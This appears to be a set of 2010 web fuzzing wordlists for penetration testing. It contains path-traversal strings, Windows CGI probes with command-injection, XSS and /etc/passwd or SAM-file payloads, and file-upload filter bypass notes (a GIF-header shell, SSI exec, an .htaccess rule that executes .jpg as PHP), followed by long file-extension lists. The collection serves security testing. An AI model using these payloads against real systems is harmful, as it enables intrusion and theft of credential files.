.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> 